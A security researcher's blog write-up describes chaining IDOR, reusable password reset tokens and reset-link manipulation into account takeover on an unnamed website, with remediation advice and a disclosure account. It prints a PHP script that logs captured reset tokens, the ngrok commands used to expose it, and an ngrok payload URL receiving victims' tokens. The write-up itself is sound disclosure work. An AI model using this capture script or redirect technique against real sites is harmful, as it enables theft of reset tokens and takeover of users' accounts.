Disclaimer: This article is for educational purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.

Hi everyone, how are you? I hope you guys are well. I'm RyuuKhagetsu, this is my article in English, sorry if there are any mistakes. I hope you enjoy my article.

In my last article about "Price Parameter Tampering" on one website, I continued testing the same website and discovered several critical vulnerabilities that, when chained together, allowed for complete account takeover.

Account Security Vulnerabilities

Multiple security vulnerabilities leading to account takeover

Initial Vulnerability Discovery

During my continued testing of the website, I found several bugs including:

  • Password reset tokens that can be used continuously
  • No rate limiting on password reset functionality
  • IDOR (Insecure Direct Object Reference) vulnerabilities

I reported these findings, but their response was dismissive: "For now, just ignore it, because it doesn't affect the server".

Lesson Learned: Sometimes organizations don't immediately recognize the severity of security issues. This dismissive response motivated me to demonstrate the real-world impact of these vulnerabilities.

Password Reset URL Manipulation

I continued my research and discovered that I could manipulate the password reset link. When resetting a password, users should normally receive a link like:

https://site.com/#!/reset/<token>

I fired up Burp Suite to analyze the request data and discovered I could modify the password reset URL destination.

Burp Suite Request Analysis

Analyzing password reset requests with Burp Suite

After modifying the password reset URL, I was able to generate a malicious link like:

Burp Suite Request Analysis

Analyzing password reset requests with Burp Suite

https://testchangeurl.com/#!/reset/0cdc2743-xxxx1-4xxx-9xxe-xxxxx

Attack Strategy Development

I wanted to report this to the developers, but considering their previous dismissive response, I decided to develop a complete attack demonstration. Initially, I considered recreating the website's password reset display to deceive victims, but this approach had limitations:

  • Victims would need to click the malicious link
  • Victims would need to enter their new password
  • The process would likely raise suspicion

I paused to think of a more effective approach that would minimize victim interaction and suspicion.

Refined Attack Vector

I found a way where the victim only needs to click on the modified link. Using XSS concepts, I developed a method to capture the victim's reset token using PHP and redirect them seamlessly.

Attack Strategy Planning

Developing a sophisticated attack strategy using token interception

Technical Implementation

Here's how I implemented the attack:

Step 1: Local Server Setup

I used PHP to run a local server:

sudo php -S localhost:80

Then I ran ngrok to expose the local server:

ngrok http 80

Step 2: Token Capture Script

I created a PHP script (reset.php) to capture the reset tokens:

<?php
$cookie = $_GET["c"];
$file = fopen('get-code.txt', 'a');
fwrite($file, $cookie . "\n");
header('Location:https://www.google.com');
?>
PHP Token Capture Script

PHP script designed to capture and log password reset tokens

Step 3: Malicious Link Generation

The final payload URL structure was:

https://92c2-2000-442a-20a2-3ed9-1c29-d3ea-8481-a818.ap.ngrok.io/reset.php?c=

When I modified the password reset link using this payload, users would receive a link that appeared legitimate but actually captured their reset tokens.

Burp Suite Request Analysis

Analyzing password reset requests with Burp Suite

IDOR Exploitation for Target Selection

Using the IDOR vulnerability, I could enumerate user emails to identify potential targets. This allowed me to:

  • Access other users' account information
  • Identify valid email addresses for targeted attacks
  • Understand the user base structure
Burp Suite Request Analysis

Analyzing password reset requests with Burp Suite

Successful Token Capture

In my get-code.txt file, I successfully received the captured reset tokens. The beauty of this attack was that the password reset tokens could be used continuously to change passwords - there was no token expiration or single-use limitation.

Critical Finding: The password reset tokens had no expiration time and could be reused indefinitely, allowing persistent account access even after the initial compromise.

Burp Suite Request Analysis

Analyzing password reset requests with Burp Suite

Attack Chain Summary

The complete attack chain involved:

  1. IDOR Exploitation: Enumerate valid user emails and account information
  2. Password Reset URL Manipulation: Redirect reset links to attacker-controlled server
  3. Token Interception: Capture reset tokens when victims click malicious links
  4. Account Takeover: Use captured tokens to reset victim passwords
  5. Persistent Access: Tokens remain valid indefinitely for continued access

Impact Assessment

This vulnerability chain had severe implications:

  • Complete Account Takeover: Attackers could gain full control of any user account
  • Persistent Access: No token expiration meant long-term unauthorized access
  • Mass Account Compromise: IDOR allowed targeting of multiple users
  • Social Engineering Vector: Legitimate-looking reset emails from the actual domain

Responsible Disclosure and Response

I have reported this vulnerability chain, and the organization initially left it unaddressed. However, after demonstrating the complete attack scenario, they acknowledged the severity and promised a reward.

Update: I tried reporting it again with the complete proof-of-concept, and they said they would provide a reward. However, there have been no updates so far. I've requested permission to publish this article, and they granted permission.

Remediation Recommendations

To address these vulnerabilities, organizations should implement:

  • Token Expiration: Password reset tokens should expire within 15-30 minutes
  • Single-Use Tokens: Tokens should be invalidated after first use
  • URL Validation: Restrict password reset URL destinations to authorized domains
  • Rate Limiting: Implement rate limiting on password reset requests
  • Access Controls: Fix IDOR vulnerabilities with proper authorization checks
  • Email Verification: Additional verification steps for sensitive operations

Conclusion

This case study demonstrates how multiple seemingly minor vulnerabilities can be chained together to create a devastating attack vector. The combination of IDOR, URL manipulation, and token reuse created a perfect storm for account takeover.

The key lessons learned include:

  • Never dismiss security reports without thorough investigation
  • Implement defense in depth - multiple security layers prevent exploitation chains
  • Regular security testing should include business logic vulnerabilities
  • Token-based authentication systems require careful security considerations

Maybe that's all from me, hopefully it can be a reference for you and sorry if there are things that are not clear. I'm RyuuKhagetsu, see you in next article.